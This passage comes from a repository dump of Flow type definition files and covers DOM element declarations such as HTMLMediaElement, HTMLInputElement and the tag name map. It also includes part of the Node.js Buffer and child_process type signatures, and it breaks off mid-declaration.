Node;\n  onenter: (ev: any) => any;\n  onexit: (ev: any) => any;\n}\n\ndeclare class TextTrackCueList {\n  @@iterator(): Iterator<TextTrackCue>;\n  length: number;\n  [index: number]: TextTrackCue;\n  getCueById(id: string): ?TextTrackCue;\n}\n\ndeclare class TextTrack extends EventTarget {\n  kind: string;\n  label: string;\n  language: string;\n\n  mode: string;\n\n  cues: TextTrackCueList;\n  activeCues: TextTrackCueList;\n\n  addCue(cue: TextTrackCue): void;\n  removeCue(cue: TextTrackCue): void;\n\n  oncuechange: (ev: any) => any;\n}\n\ndeclare class TextTrackList extends EventTarget {\n  length: number;\n  [index: number]: TextTrack;\n\n  onaddtrack: (ev: any) => any;\n  onremovetrack: (ev: any) => any;\n}\n\ndeclare class HTMLMediaElement extends HTMLElement {\n  // error state\n  error: ?MediaError;\n\n  // network state\n  src: string;\n  srcObject: ?any;\n  currentSrc: string;\n  crossOrigin: ?string;\n  NETWORK_EMPTY: number;\n  NETWORK_IDLE: number;\n  NETWORK_LOADING: number;\n  NETWORK_NO_SOURCE: number;\n  networkState: number;\n  preload: string;\n  buffered: TimeRanges;\n  load(): void;\n  canPlayType(type: string): string;\n\n  // ready state\n  HAVE_NOTHING: number;\n  HAVE_METADATA: number;\n  HAVE_CURRENT_DATA: number;\n  HAVE_FUTURE_DATA: number;\n  HAVE_ENOUGH_DATA: number;\n  readyState: number;\n  seeking: boolean;\n\n  // playback state\n  currentTime: number;\n  duration: number;\n  startDate: Date;\n  paused: boolean;\n  defaultPlaybackRate: number;\n  playbackRate: number;\n  played: TimeRanges;\n  seekable: TimeRanges;\n  ended: boolean;\n  autoplay: boolean;\n  loop: boolean;\n  play(): Promise<void>;\n  pause(): void;\n  fastSeek(): void;\n  captureStream(): MediaStream;\n\n  // media controller\n  mediaGroup: string;\n  controller: ?any;\n\n  // controls\n  controls: boolean;\n  volume: number;\n  muted: boolean;\n  defaultMuted: boolean;\n  controlsList?: DOMTokenList;\n\n  // tracks\n  audioTracks: AudioTrackList;\n  videoTracks: VideoTrackList;\n  textTracks: TextTrackList;\n  addTextTrack(kind: string, label?: string, language?: string): TextTrack;\n\n  // media keys\n  mediaKeys?: ?MediaKeys;\n  setMediakeys?: (mediakeys: ?MediaKeys) => Promise<?MediaKeys>;\n}\n\ndeclare class HTMLAudioElement extends HTMLMediaElement {\n  tagName: 'AUDIO';\n}\n\ndeclare class HTMLVideoElement extends HTMLMediaElement {\n  tagName: 'VIDEO';\n  width: number;\n  height: number;\n  videoWidth: number;\n  videoHeight: number;\n  poster: string;\n}\n\ndeclare class HTMLSourceElement extends HTMLElement {\n  tagName: 'SOURCE';\n  src: string;\n  type: string;\n\n  //when used with the picture element\n  srcset: string;\n  sizes: string;\n  media: string;\n}\n\ndeclare class ValidityState {\n  badInput: boolean;\n  customError: boolean;\n  patternMismatch: boolean;\n  rangeOverflow: boolean;\n  rangeUnderflow: boolean;\n  stepMismatch: boolean;\n  tooLong: boolean;\n  tooShort: boolean;\n  typeMismatch: boolean;\n  valueMissing: boolean;\n  valid: boolean;\n}\n\n// https://w3c.github.io/html/sec-forms.html#dom-selectionapielements-setselectionrange\ntype SelectionDirection = 'backward' | 'forward' | 'none';\ntype SelectionMode = 'select' | 'start' | 'end' | 'preserve';\ndeclare class HTMLInputElement extends HTMLElement {\n  tagName: 'INPUT';\n  accept: string;\n  align: string;\n  alt: string;\n  autocomplete: string;\n  autofocus: boolean;\n  border: string;\n  checked: boolean;\n  complete: boolean;\n  defaultChecked: boolean;\n  defaultValue: string;\n  dirname: string;\n  disabled: boolean;\n  dynsrc: string;\n  files: FileList;\n  form: HTMLFormElement | null;\n  formAction: string;\n  formEncType: string;\n  formMethod: string;\n  formNoValidate: boolean;\n  formTarget: string;\n  height: string;\n  hspace: number;\n  indeterminate: boolean;\n  labels: NodeList<HTMLLabelElement>;\n  list: HTMLElement | null;\n  loop: number;\n  lowsrc: string;\n  max: string;\n  maxLength: number;\n  min: string;\n  multiple: boolean;\n  name: string;\n  pattern: string;\n  placeholder: string;\n  readOnly: boolean;\n  required: boolean;\n  selectionDirection: SelectionDirection;\n  selectionEnd: number;\n  selectionStart: number;\n  size: number;\n  src: string;\n  start: string;\n  status: boolean;\n  step: string;\n  type: string;\n  useMap: string;\n  validationMessage: string;\n  validity: ValidityState;\n  value: string;\n  valueAsDate: Date;\n  valueAsNumber: number;\n  vrml: string;\n  vspace: number;\n  width: string;\n  willValidate: boolean;\n  popoverTargetElement: Element | null;\n  popoverTargetAction: 'toggle' | 'show' | 'hide';\n\n  checkValidity(): boolean;\n  reportValidity(): boolean;\n  setCustomValidity(error: string): void;\n  createTextRange(): TextRange;\n  select(): void;\n  setRangeText(\n    replacement: string,\n    start?: void,\n    end?: void,\n    selectMode?: void\n  ): void;\n  setRangeText(\n    replacement: string,\n    start: number,\n    end: number,\n    selectMode?: SelectionMode\n  ): void;\n  setSelectionRange(\n    start: number,\n    end: number,\n    direction?: SelectionDirection\n  ): void;\n  showPicker(): void;\n  stepDown(stepDecrement?: number): void;\n  stepUp(stepIncrement?: number): void;\n}\n\ndeclare class HTMLButtonElement extends HTMLElement {\n  tagName: 'BUTTON';\n  autofocus: boolean;\n  disabled: boolean;\n  form: HTMLFormElement | null;\n  labels: NodeList<HTMLLabelElement> | null;\n  name: string;\n  type: string;\n  validationMessage: string;\n  validity: ValidityState;\n  value: string;\n  willValidate: boolean;\n\n  checkValidity(): boolean;\n  reportValidity(): boolean;\n  setCustomValidity(error: string): void;\n  popoverTargetElement: Element | null;\n  popoverTargetAction: 'toggle' | 'show' | 'hide';\n}\n\n// https://w3c.github.io/html/sec-forms.html#the-textarea-element\ndeclare class HTMLTextAreaElement extends HTMLElement {\n  tagName: 'TEXTAREA';\n  autofocus: boolean;\n  cols: number;\n  dirName: string;\n  disabled: boolean;\n  form: HTMLFormElement | null;\n  maxLength: number;\n  name: string;\n  placeholder: string;\n  readOnly: boolean;\n  required: boolean;\n  rows: number;\n  wrap: string;\n\n  type: string;\n  defaultValue: string;\n  value: string;\n  textLength: number;\n\n  willValidate: boolean;\n  validity: ValidityState;\n  validationMessage: string;\n  checkValidity(): boolean;\n  setCustomValidity(error: string): void;\n\n  labels: NodeList<HTMLLabelElement>;\n\n  select(): void;\n  selectionStart: number;\n  selectionEnd: number;\n  selectionDirection: SelectionDirection;\n  setSelectionRange(\n    start: number,\n    end: number,\n    direction?: SelectionDirection\n  ): void;\n}\n\ndeclare class HTMLSelectElement extends HTMLElement {\n  tagName: 'SELECT';\n  autocomplete: string;\n  autofocus: boolean;\n  disabled: boolean;\n  form: HTMLFormElement | null;\n  labels: NodeList<HTMLLabelElement>;\n  length: number;\n  multiple: boolean;\n  name: string;\n  options: HTMLOptionsCollection;\n  required: boolean;\n  selectedIndex: number;\n  selectedOptions: HTMLCollection<HTMLOptionElement>;\n  size: number;\n  type: string;\n  validationMessage: string;\n  validity: ValidityState;\n  value: string;\n  willValidate: boolean;\n\n  add(element: HTMLElement, before?: HTMLElement): void;\n  checkValidity(): boolean;\n  item(index: number): HTMLOptionElement | null;\n  namedItem(name: string): HTMLOptionElement | null;\n  remove(index?: number): void;\n  setCustomValidity(error: string): void;\n}\n\ndeclare class HTMLOptionsCollection extends HTMLCollection<HTMLOptionElement> {\n  selectedIndex: number;\n  add(\n    element: HTMLOptionElement | HTMLOptGroupElement,\n    before?: HTMLElement | number\n  ): void;\n  remove(index: number): void;\n}\n\ndeclare class HTMLOptionElement extends HTMLElement {\n  tagName: 'OPTION';\n  defaultSelected: boolean;\n  disabled: boolean;\n  form: HTMLFormElement | null;\n  index: number;\n  label: string;\n  selected: boolean;\n  text: string;\n  value: string;\n}\n\ndeclare class HTMLOptGroupElement extends HTMLElement {\n  tagName: 'OPTGROUP';\n  disabled: boolean;\n  label: string;\n}\n\ndeclare class HTMLAnchorElement extends HTMLElement {\n  tagName: 'A';\n  charset: string;\n  coords: string;\n  download: string;\n  hash: string;\n  host: string;\n  hostname: string;\n  href: string;\n  hreflang: string;\n  media: string;\n  name: string;\n  origin: string;\n  password: string;\n  pathname: string;\n  port: string;\n  protocol: string;\n  rel: string;\n  rev: string;\n  search: string;\n  shape: string;\n  target: string;\n  text: string;\n  type: string;\n  username: string;\n}\n\n// https://w3c.github.io/html/sec-forms.html#the-label-element\ndeclare class HTMLLabelElement extends HTMLElement {\n  tagName: 'LABEL';\n  form: HTMLFormElement | null;\n  htmlFor: string;\n  control: HTMLElement | null;\n}\n\ndeclare class HTMLLinkElement extends HTMLElement {\n  tagName: 'LINK';\n  crossOrigin: ?('anonymous' | 'use-credentials');\n  href: string;\n  hreflang: string;\n  media: string;\n  rel: string;\n  sizes: DOMTokenList;\n  type: string;\n  as: string;\n}\n\ndeclare class HTMLScriptElement extends HTMLElement {\n  tagName: 'SCRIPT';\n  async: boolean;\n  charset: string;\n  crossOrigin?: string;\n  defer: boolean;\n  // flowlint unsafe-getters-setters:off\n  get src(): string;\n  set src(value: string | TrustedScriptURL): void;\n  get text(): string;\n  set text(value: string | TrustedScript): void;\n  // flowlint unsafe-getters-setters:error\n  type: string;\n}\n\ndeclare class HTMLStyleElement extends HTMLElement {\n  tagName: 'STYLE';\n  disabled: boolean;\n  media: string;\n  scoped: boolean;\n  sheet: ?CSSStyleSheet;\n  type: string;\n}\n\ndeclare class HTMLParagraphElement extends HTMLElement {\n  tagName: 'P';\n  align: 'left' | 'center' | 'right' | 'justify'; // deprecated in HTML 4.01\n}\n\ndeclare class HTMLHtmlElement extends HTMLElement {\n  tagName: 'HTML';\n}\n\ndeclare class HTMLBodyElement extends HTMLElement {\n  tagName: 'BODY';\n}\n\ndeclare class HTMLHeadElement extends HTMLElement {\n  tagName: 'HEAD';\n}\n\ndeclare class HTMLDivElement extends HTMLElement {\n  tagName: 'DIV';\n}\n\ndeclare class HTMLSpanElement extends HTMLElement {\n  tagName: 'SPAN';\n}\n\ndeclare class HTMLAppletElement extends HTMLElement {}\n\ndeclare class HTMLHeadingElement extends HTMLElement {\n  tagName: 'H1' | 'H2' | 'H3' | 'H4' | 'H5' | 'H6';\n}\n\ndeclare class HTMLHRElement extends HTMLElement {\n  tagName: 'HR';\n}\n\ndeclare class HTMLBRElement extends HTMLElement {\n  tagName: 'BR';\n}\n\ndeclare class HTMLDListElement extends HTMLElement {\n  tagName: 'DL';\n}\n\ndeclare class HTMLAreaElement extends HTMLElement {\n  tagName: 'AREA';\n  alt: string;\n  coords: string;\n  shape: string;\n  target: string;\n  download: string;\n  ping: string;\n  rel: string;\n  relList: DOMTokenList;\n  referrerPolicy: string;\n}\n\ndeclare class HTMLDataElement extends HTMLElement {\n  tagName: 'DATA';\n  value: string;\n}\n\ndeclare class HTMLDataListElement extends HTMLElement {\n  tagName: 'DATALIST';\n  options: HTMLCollection<HTMLOptionElement>;\n}\n\ndeclare class HTMLDialogElement extends HTMLElement {\n  tagName: 'DIALOG';\n  open: boolean;\n  returnValue: string;\n  show(): void;\n  showModal(): void;\n  close(returnValue: ?string): void;\n}\n\ndeclare class HTMLEmbedElement extends HTMLElement {\n  tagName: 'EMBED';\n  src: string;\n  type: string;\n  width: string;\n  height: string;\n  getSVGDocument(): ?Document;\n}\n\ndeclare class HTMLMapElement extends HTMLElement {\n  tagName: 'MAP';\n  areas: HTMLCollection<HTMLAreaElement>;\n  images: HTMLCollection<HTMLImageElement>;\n  name: string;\n}\n\ndeclare class HTMLMeterElement extends HTMLElement {\n  tagName: 'METER';\n  high: number;\n  low: number;\n  max: number;\n  min: number;\n  optimum: number;\n  value: number;\n  labels: NodeList<HTMLLabelElement>;\n}\n\ndeclare class HTMLModElement extends HTMLElement {\n  tagName: 'DEL' | 'INS';\n  cite: string;\n  dateTime: string;\n}\n\ndeclare class HTMLObjectElement extends HTMLElement {\n  tagName: 'OBJECT';\n  contentDocument: ?Document;\n  contentWindow: ?WindowProxy;\n  data: string;\n  form: ?HTMLFormElement;\n  height: string;\n  name: string;\n  type: string;\n  typeMustMatch: boolean;\n  useMap: string;\n  validationMessage: string;\n  validity: ValidityState;\n  width: string;\n  willValidate: boolean;\n  checkValidity(): boolean;\n  getSVGDocument(): ?Document;\n  reportValidity(): boolean;\n  setCustomValidity(error: string): void;\n}\n\ndeclare class HTMLOutputElement extends HTMLElement {\n  defaultValue: string;\n  form: ?HTMLFormElement;\n  htmlFor: DOMTokenList;\n  labels: NodeList<HTMLLabelElement>;\n  name: string;\n  type: string;\n  validationMessage: string;\n  validity: ValidityState;\n  value: string;\n  willValidate: boolean;\n  checkValidity(): boolean;\n  reportValidity(): boolean;\n  setCustomValidity(error: string): void;\n}\n\ndeclare class HTMLParamElement extends HTMLElement {\n  tagName: 'PARAM';\n  name: string;\n  value: string;\n}\n\ndeclare class HTMLProgressElement extends HTMLElement {\n  tagName: 'PROGRESS';\n  labels: NodeList<HTMLLabelElement>;\n  max: number;\n  position: number;\n  value: number;\n}\n\ndeclare class HTMLPictureElement extends HTMLElement {\n  tagName: 'PICTURE';\n}\n\ndeclare class HTMLTimeElement extends HTMLElement {\n  tagName: 'TIME';\n  dateTime: string;\n}\n\ndeclare class HTMLTitleElement extends HTMLElement {\n  tagName: 'TITLE';\n  text: string;\n}\n\ndeclare class HTMLTrackElement extends HTMLElement {\n  tagName: 'TRACK';\n  static NONE: 0;\n  static LOADING: 1;\n  static LOADED: 2;\n  static ERROR: 3;\n\n  default: boolean;\n  kind: string;\n  label: string;\n  readyState: 0 | 1 | 2 | 3;\n  src: string;\n  srclang: string;\n  track: TextTrack;\n}\n\ndeclare class HTMLQuoteElement extends HTMLElement {\n  tagName: 'BLOCKQUOTE' | 'Q';\n  cite: string;\n}\n\ndeclare class HTMLOListElement extends HTMLElement {\n  tagName: 'OL';\n  reversed: boolean;\n  start: number;\n  type: string;\n}\n\ndeclare class HTMLUListElement extends HTMLElement {\n  tagName: 'UL';\n}\n\ndeclare class HTMLLIElement extends HTMLElement {\n  tagName: 'LI';\n  value: number;\n}\n\ndeclare class HTMLPreElement extends HTMLElement {\n  tagName: 'PRE';\n}\n\ndeclare class HTMLMetaElement extends HTMLElement {\n  tagName: 'META';\n  content: string;\n  httpEquiv: string;\n  name: string;\n}\n\ndeclare class HTMLUnknownElement extends HTMLElement {}\n\ndeclare class Storage {\n  length: number;\n  getItem(key: string): ?string;\n  setItem(key: string, data: string): void;\n  clear(): void;\n  removeItem(key: string): void;\n  key(index: number): ?string;\n  [name: string]: ?string;\n}\n\n/* window */\n\ndeclare type WindowProxy = any;\ndeclare function alert(message?: any): void;\ndeclare function prompt(message?: any, value?: any): string;\ndeclare function close(): void;\ndeclare function confirm(message?: string): boolean;\ndeclare function getComputedStyle(\n  elt: Element,\n  pseudoElt?: string\n): CSSStyleDeclaration;\ndeclare opaque type AnimationFrameID;\ndeclare function requestAnimationFrame(\n  callback: (timestamp: number) => void\n): AnimationFrameID;\ndeclare function cancelAnimationFrame(requestId: AnimationFrameID): void;\ndeclare opaque type IdleCallbackID;\ndeclare function requestIdleCallback(\n  cb: (deadline: {\n    didTimeout: boolean,\n    timeRemaining: () => number,\n    ...\n  }) => void,\n  opts?: {timeout: number, ...}\n): IdleCallbackID;\ndeclare function cancelIdleCallback(id: IdleCallbackID): void;\ndeclare var localStorage: Storage;\ndeclare var devicePixelRatio: number;\ndeclare function focus(): void;\ndeclare function onfocus(ev: Event): any;\ndeclare function open(\n  url?: string,\n  target?: string,\n  features?: string,\n  replace?: boolean\n): any;\ndeclare var parent: WindowProxy;\ndeclare function print(): void;\ndeclare var self: any;\ndeclare var sessionStorage: Storage;\ndeclare var top: WindowProxy;\ndeclare function getSelection(): Selection | null;\ndeclare var customElements: CustomElementRegistry;\ndeclare function scroll(x: number, y: number): void;\ndeclare function scroll(options: ScrollToOptions): void;\ndeclare function scrollTo(x: number, y: number): void;\ndeclare function scrollTo(options: ScrollToOptions): void;\ndeclare function scrollBy(x: number, y: number): void;\ndeclare function scrollBy(options: ScrollToOptions): void;\n\ntype HTMLElementTagNameMap = {\n  a: HTMLAnchorElement,\n  abbr: HTMLElement,\n  address: HTMLElement,\n  area: HTMLAreaElement,\n  article: HTMLElement,\n  aside: HTMLElement,\n  audio: HTMLAudioElement,\n  b: HTMLElement,\n  base: HTMLBaseElement,\n  bdi: HTMLElement,\n  bdo: HTMLElement,\n  blockquote: HTMLQuoteElement,\n  body: HTMLBodyElement,\n  br: HTMLBRElement,\n  button: HTMLButtonElement,\n  canvas: HTMLCanvasElement,\n  caption: HTMLTableCaptionElement,\n  cite: HTMLElement,\n  code: HTMLElement,\n  col: HTMLTableColElement,\n  colgroup: HTMLTableColElement,\n  data: HTMLDataElement,\n  datalist: HTMLDataListElement,\n  dd: HTMLElement,\n  del: HTMLModElement,\n  details: HTMLDetailsElement,\n  dfn: HTMLElement,\n  dialog: HTMLDialogElement,\n  div: HTMLDivElement,\n  dl: HTMLDListElement,\n  dt: HTMLElement,\n  em: HTMLElement,\n  embed: HTMLEmbedElement,\n  fieldset: HTMLFieldSetElement,\n  figcaption: HTMLElement,\n  figure: HTMLElement,\n  footer: HTMLElement,\n  form: HTMLFormElement,\n  h1: HTMLHeadingElement,\n  h2: HTMLHeadingElement,\n  h3: HTMLHeadingElement,\n  h4: HTMLHeadingElement,\n  h5: HTMLHeadingElement,\n  h6: HTMLHeadingElement,\n  head: HTMLHeadElement,\n  header: HTMLElement,\n  hgroup: HTMLElement,\n  hr: HTMLHRElement,\n  html: HTMLHtmlElement,\n  i: HTMLElement,\n  iframe: HTMLIFrameElement,\n  img: HTMLImageElement,\n  input: HTMLInputElement,\n  ins: HTMLModElement,\n  kbd: HTMLElement,\n  label: HTMLLabelElement,\n  legend: HTMLLegendElement,\n  li: HTMLLIElement,\n  link: HTMLLinkElement,\n  main: HTMLElement,\n  map: HTMLMapElement,\n  mark: HTMLElement,\n  menu: HTMLMenuElement,\n  meta: HTMLMetaElement,\n  meter: HTMLMeterElement,\n  nav: HTMLElement,\n  noscript: HTMLElement,\n  object: HTMLObjectElement,\n  ol: HTMLOListElement,\n  optgroup: HTMLOptGroupElement,\n  option: HTMLOptionElement,\n  output: HTMLOutputElement,\n  p: HTMLParagraphElement,\n  picture: HTMLPictureElement,\n  pre: HTMLPreElement,\n  progress: HTMLProgressElement,\n  q: HTMLQuoteElement,\n  rp: HTMLElement,\n  rt: HTMLElement,\n  ruby: HTMLElement,\n  s: HTMLElement,\n  samp: HTMLElement,\n  script: HTMLScriptElement,\n  search: HTMLElement,\n  section: HTMLElement,\n  select: HTMLSelectElement,\n  slot: HTMLSlotElement,\n  small: HTMLElement,\n  source: HTMLSourceElement,\n  span: HTMLSpanElement,\n  strong: HTMLElement,\n  style: HTMLStyleElement,\n  sub: HTMLElement,\n  summary: HTMLElement,\n  sup: HTMLElement,\n  table: HTMLTableElement,\n  tbody: HTMLTableSectionElement,\n  td: HTMLTableCellElement,\n  template: HTMLTemplateElement,\n  textarea: HTMLTextAreaElement,\n  tfoot: HTMLTableSectionElement,\n  th: HTMLTableCellElement,\n  thead: HTMLTableSectionElement,\n  time: HTMLTimeElement,\n  title: HTMLTitleElement,\n  tr: HTMLTableRowElement,\n  track: HTMLTrackElement,\n  u: HTMLElement,\n  ul: HTMLUListElement,\n  var: HTMLElement,\n  video: HTMLVideoElement,\n  wbr: HTMLElement,\n  [string]: Element,\n};\n"
  },
  {
    "path": "flow-typed/environments/node.js",
    "content": "// flow-typed signature: 44d8f5b0b708cdf7288ec50b7c08e1bf\n// flow-typed version: 832153ff79/node/flow_>=v0.261.x\n\ninterface ErrnoError extends Error {\n  address?: string;\n  code?: string;\n  dest?: string;\n  errno?: string | number;\n  info?: Object;\n  path?: string;\n  port?: number;\n  syscall?: string;\n}\n\ntype Node$Conditional<T: boolean, IfTrue, IfFalse> = T extends true\n  ? IfTrue\n  : T extends false\n    ? IfFalse\n    : IfTrue | IfFalse;\n\ntype buffer$NonBufferEncoding =\n  | 'hex'\n  | 'HEX'\n  | 'utf8'\n  | 'UTF8'\n  | 'utf-8'\n  | 'UTF-8'\n  | 'ascii'\n  | 'ASCII'\n  | 'binary'\n  | 'BINARY'\n  | 'base64'\n  | 'BASE64'\n  | 'ucs2'\n  | 'UCS2'\n  | 'ucs-2'\n  | 'UCS-2'\n  | 'utf16le'\n  | 'UTF16LE'\n  | 'utf-16le'\n  | 'UTF-16LE'\n  | 'latin1';\ntype buffer$Encoding = buffer$NonBufferEncoding | 'buffer';\ntype buffer$ToJSONRet = {\n  type: string,\n  data: Array<number>,\n  ...\n};\n\ndeclare class Buffer extends Uint8Array {\n  constructor(\n    value: Array<number> | number | string | Buffer | ArrayBuffer,\n    encoding?: buffer$Encoding\n  ): void;\n  [i: number]: number;\n  length: number;\n\n  compare(otherBuffer: Buffer): number;\n  copy(\n    targetBuffer: Buffer,\n    targetStart?: number,\n    sourceStart?: number,\n    sourceEnd?: number\n  ): number;\n  entries(): Iterator<[number, number]>;\n  equals(otherBuffer: Buffer): boolean;\n  fill(\n    value: string | Buffer | number,\n    offset?: number,\n    end?: number,\n    encoding?: string\n  ): this;\n  fill(value: string, encoding?: string): this;\n  includes(\n    value: string | Buffer | number,\n    offsetOrEncoding?: number | buffer$Encoding,\n    encoding?: buffer$Encoding\n  ): boolean;\n  indexOf(\n    value: string | Buffer | number,\n    offsetOrEncoding?: number | buffer$Encoding,\n    encoding?: buffer$Encoding\n  ): number;\n  inspect(): string;\n  keys(): Iterator<number>;\n  lastIndexOf(\n    value: string | Buffer | number,\n    offsetOrEncoding?: number | buffer$Encoding,\n    encoding?: buffer$Encoding\n  ): number;\n  readDoubleBE(offset?: number, noAssert?: boolean): number;\n  readDoubleLE(offset?: number, noAssert?: boolean): number;\n  readFloatBE(offset?: number, noAssert?: boolean): number;\n  readFloatLE(offset?: number, noAssert?: boolean): number;\n  readInt16BE(offset?: number, noAssert?: boolean): number;\n  readInt16LE(offset?: number, noAssert?: boolean): number;\n  readInt32BE(offset?: number, noAssert?: boolean): number;\n  readInt32LE(offset?: number, noAssert?: boolean): number;\n  readInt8(offset?: number, noAssert?: boolean): number;\n  readIntBE(offset: number, byteLength: number, noAssert?: boolean): number;\n  readIntLE(offset: number, byteLength: number, noAssert?: boolean): number;\n  readUInt16BE(offset?: number, noAssert?: boolean): number;\n  readUInt16LE(offset?: number, noAssert?: boolean): number;\n  readUInt32BE(offset?: number, noAssert?: boolean): number;\n  readUInt32LE(offset?: number, noAssert?: boolean): number;\n  readUInt8(offset?: number, noAssert?: boolean): number;\n  readUIntBE(offset: number, byteLength: number, noAssert?: boolean): number;\n  readUIntLE(offset: number, byteLength: number, noAssert?: boolean): number;\n  slice(start?: number, end?: number): this;\n  swap16(): Buffer;\n  swap32(): Buffer;\n  swap64(): Buffer;\n  toJSON(): buffer$ToJSONRet;\n  toString(encoding?: buffer$Encoding, start?: number, end?: number): string;\n  values(): Iterator<number>;\n  write(\n    string: string,\n    offset?: number,\n    length?: number,\n    encoding?: buffer$Encoding\n  ): number;\n  writeDoubleBE(value: number, offset?: number, noAssert?: boolean): number;\n  writeDoubleLE(value: number, offset?: number, noAssert?: boolean): number;\n  writeFloatBE(value: number, offset?: number, noAssert?: boolean): number;\n  writeFloatLE(value: number, offset?: number, noAssert?: boolean): number;\n  writeInt16BE(value: number, offset?: number, noAssert?: boolean): number;\n  writeInt16LE(value: number, offset?: number, noAssert?: boolean): number;\n  writeInt32BE(value: number, offset?: number, noAssert?: boolean): number;\n  writeInt32LE(value: number, offset?: number, noAssert?: boolean): number;\n  writeInt8(value: number, offset?: number, noAssert?: boolean): number;\n  writeIntBE(\n    value: number,\n    offset: number,\n    byteLength: number,\n    noAssert?: boolean\n  ): number;\n  writeIntLE(\n    value: number,\n    offset: number,\n    byteLength: number,\n    noAssert?: boolean\n  ): number;\n  writeUInt16BE(value: number, offset?: number, noAssert?: boolean): number;\n  writeUInt16LE(value: number, offset?: number, noAssert?: boolean): number;\n  writeUInt32BE(value: number, offset?: number, noAssert?: boolean): number;\n  writeUInt32LE(value: number, offset?: number, noAssert?: boolean): number;\n  writeUInt8(value: number, offset?: number, noAssert?: boolean): number;\n  writeUIntBE(\n    value: number,\n    offset: number,\n    byteLength: number,\n    noAssert?: boolean\n  ): number;\n  writeUIntLE(\n    value: number,\n    offset: number,\n    byteLength: number,\n    noAssert?: boolean\n  ): number;\n\n  static alloc(\n    size: number,\n    fill?: string | number,\n    encoding?: buffer$Encoding\n  ): Buffer;\n  static allocUnsafe(size: number): Buffer;\n  static allocUnsafeSlow(size: number): Buffer;\n  static byteLength(\n    string: string | Buffer | $TypedArray | DataView | ArrayBuffer,\n    encoding?: buffer$Encoding\n  ): number;\n  static compare(buf1: Buffer, buf2: Buffer): number;\n  static concat(list: Array<Buffer>, totalLength?: number): Buffer;\n\n  static from(value: Buffer): Buffer;\n  static from(value: string, encoding?: buffer$Encoding): Buffer;\n  static from(\n    value: ArrayBuffer | SharedArrayBuffer,\n    byteOffset?: number,\n    length?: number\n  ): Buffer;\n  static from(value: Iterable<number>): this;\n  static isBuffer(obj: any): boolean;\n  static isEncoding(encoding: string): boolean;\n}\n\ndeclare type Node$Buffer = typeof Buffer;\n\ndeclare module 'buffer' {\n  declare var kMaxLength: number;\n  declare var INSPECT_MAX_BYTES: number;\n  declare function transcode(\n    source: Node$Buffer,\n    fromEnc: buffer$Encoding,\n    toEnc: buffer$Encoding\n  ): Node$Buffer;\n  declare var Buffer: Node$Buffer;\n}\n\ntype child_process$execOpts = {\n  cwd?: string,\n  env?: Object,\n  encoding?: string,\n  shell?: string,\n  timeout?: number,\n  maxBuffer?: number,\n  killSignal?: string | number,\n  uid?: number,\n  gid?: number,\n  windowsHide?: boolean,\n  ...\n};\n\ndeclare class child_process$Error extends Error {\n  code: number | string | null;\n  errno?: string;\n  syscall?: string;\n  path?: string;\n  spawnargs?: Array<string>;\n  killed?: boolean;\n  signal?: string | null;\n  cmd: string;\n}\n\ntype child_process$execCallback = (\n  error: ?child_process$Error,\n  stdout: string | Buffer,\n  stderr: string | Buffer\n) => void;\n\ntype child_process$execSyncOpts = {\n  cwd?: string,\n  input?: string | Buffer | $TypedArray | DataView,\n  stdio?: string | Array<any>,\n  env?: Object,\n  shell?: string,\n  uid?: number,\n  gid?: number,\n  timeout?: number,\n  killSignal?: string | number,\n  maxBuffer?: number,\n  encoding?: string,\n  windowsHide?: boolean,\n  ...\n};\n\ntype child_process$execFileOpts = {\n  cwd?: string,\n  env?: Object,\n  encoding?: string,\n  timeout?: number,\n  maxBuffer?: number,\n  killSignal?: string | number,\n  uid?: number,\n  gid?: number,\n  windowsHide?: boolean,\n  windowsVerbatimArguments?: boolean,\n  shell?: boolean | string,\n  ...\n};\n\ntype child_process$execFileCallback = (\n  error: ?child_process$Error,\n  stdout: string | Buffer,\n  stderr: string | Buffer\n) => void;\n\ntype child_process$execFileSyncOpts = {\n  cwd?: string,\n  input?: string | Buffer | $TypedArray | DataView,\n  stdio?: string | Array<any>,\n  env?: Object,\n  uid?: number,\n  gid?: number,\n  timeout?: number,\n  killSignal?: string | number,\n  maxBuffer?: number,\n  encoding?: string,\n  windowsHide?: boolean,\n  shell?: boolean | string,\n  ...\n};\n\ntype child_process$forkOpts = {\n  cwd?: string,\n  env?: Object,\n  execPath?: string,\n  execArgv?: Array<string>,\n  silent?: boolean,\n  stdio?: Array<any> | string,\n  windowsVerbatimArguments?: boolean,\n  uid?: number,\n  gid?: number,\n  ...\n};\n\ntype child_process$Handle = any; // TODO\n\ntype child_process$spawnOpts = {\n  cwd?: string,\n  env?: Object,\n  argv0?: string,\n  stdio?: string | Array<any>,\n  detached?: boolean,\n  uid?: number,\n  gid?: number,\n  shell?: boolean | string,\n  windowsVerbatimArguments?: boolean,\n  windowsHide?: boolean,\n  ...\n};\n\ntype child_process$spawnRet = {\n  pid: number,\n  output: Array<any>,\n  stdout: Buffer | string,\n  stderr: Buffer | string,\n  status: number,\n  signal: string,\n  error: Error,\n  ...\n};\n\ntype child_process$spawnSyncOpts = {\n  cwd?: string,\n  input?: string | Buffer,\n  stdio?: string | Array<any>,\n  env?: Object,\n  uid?: number,\n  gid?: number,\n  timeout?: number,\n  killSignal?: string,\n  maxBuffer?: number,\n  encoding?: string,\n  shell?: boolean | string,\n  ...\n};\n\ntype child_process$spawnSyncRet = child_process$spawnRet;\n\ndeclare class child_process$ChildProcess extends events$EventEmitter {\n  channel: Object;\n  connected: boolean;\n  killed: boolean;\n  pid: number;\n  exitCode: number | null;\n  stderr: stream$Readable;\n  stdin: stream$Writable;\n  stdio: Array<any>;\n  stdout: stream$Readable;\n\n  disconnect(): void;\n  kill(signal?: string): void;\n  send(\n    message: Object,\n    sendHandleOrCallback?: child_process$Handle,\n    optionsOrCallback?: Object | Function,\n    callback?: Function\n  ): boolean;\n  unref(): void;\n  ref(): void;\n}\n\ndeclare module 'child_process' {\n  declare var ChildProcess: typeof child_process$ChildProcess;\n\n  declare function exec(\n    command: string,\n    optionsOrCallback?: child_process$execOpts | child_process$execCallback,\n    callback?: child_process$execCallback\n  ): child_process$ChildProcess;\n\n  declare function execSync(\n    command: string,\n    options: {\n      encoding: buffer$NonBufferEncoding,\n      ...\n    } & child_process$execSyncOpts\n  ): string;\n\n  declare function execSync(\n    command: string,\n    options?: child_process$execSyncOpts\n  ): Buffer;\n\n  declare function execFile(\n    file: string,\n    argsOrOptionsOrCallback?:\n      | Array<string>\n      | child_process$execFileOpts\n      | child_process$execFileCallback,\n    optionsOrCallback?:\n      | child_process$execFileOpts\n      | child_process$execFileCallback,\n    callback?: child_process$execFileCallback\n  ): child_process$ChildProcess;\n\n  declare function execFileSync(\n    command: string,\n    argsOrOptions?: Array<string> | child_process$execFileSyncOpts,\n    options?: 